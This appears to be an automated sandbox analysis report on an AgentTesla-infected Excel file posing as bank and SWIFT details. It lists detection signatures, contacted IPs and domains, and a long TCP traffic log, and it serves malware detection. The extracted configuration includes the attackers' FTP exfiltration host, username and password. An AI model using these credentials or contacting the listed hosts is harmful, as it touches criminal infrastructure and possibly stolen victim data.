Windows Analysis Report
Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Overview

General Information

Sample name: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx
Analysis ID: 1467088
MD5: b3b485912e2457ca61dc4481e204385a
SHA1: 823436e03fcfc203877217d95fbb6ca3bfb78b31
SHA256: 896a8259f8f9e5591c8f6bc3346c0b123a6b50efde85fbe8e913d1ec5af9f3a7
Tags: xlaxlsx
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
Yara detected obfuscated html page
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Found malware configuration
Source: 12.2.powershell.exe.12778558.2.raw.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}
Multi AV Scanner detection for submitted file
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx ReversingLabs: Detection: 18%
Machine Learning detection for sample
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx Joe Sandbox ML: detected

Phishing
barindex
Yara detected obfuscated html page
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta, type: DROPPED
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 0000000C.00000002.503385693.00000000002F0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdbhP source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdb source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: hop.fyi
Source: global traffic DNS query: name: hop.fyi
Source: global traffic DNS query: name: hop.fyi
Source: global traffic DNS query: name: ip-api.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 208.95.112.1:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
